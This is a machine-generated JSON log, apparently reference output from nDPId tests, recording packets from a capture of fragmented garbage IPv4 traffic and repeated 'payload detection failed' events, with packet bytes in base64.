+00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3572,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43242,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3572,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3573,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43257,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3573,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3574,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43269,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3574,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3575,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43281,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3575,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3576,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43293,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3576,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3577,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43305,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3577,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3578,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43317,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3578,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3579,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43329,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3579,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3580,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43341,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3580,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3581,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43353,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3581,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3582,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43372,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3582,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3583,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43385,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3583,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3584,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43396,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3584,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3585,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43429,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3585,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3586,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43442,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3586,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3587,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43453,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3587,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3588,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43466,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3588,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3589,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43478,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3589,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3590,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43490,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3590,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3591,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43504,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3591,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3592,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43516,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3592,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3593,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43534,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3593,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3594,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43545,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3594,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3595,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43557,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3595,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3596,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43572,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3596,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3597,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43584,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3597,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3598,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43595,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3598,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3599,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43608,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3599,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3600,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43620,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3600,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3601,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43632,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3601,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3602,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43643,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3602,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3603,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43655,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3603,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3604,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43666,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3604,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3605,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43678,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3605,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3606,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43689,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3606,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3607,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43701,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhRkAGRGsKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3607,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3608,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43712,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSEAGRGkKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3608,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3609,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43727,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3609,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3610,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43739,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3610,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3611,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43756,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3611,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3612,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43767,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3612,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3613,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43782,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3613,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 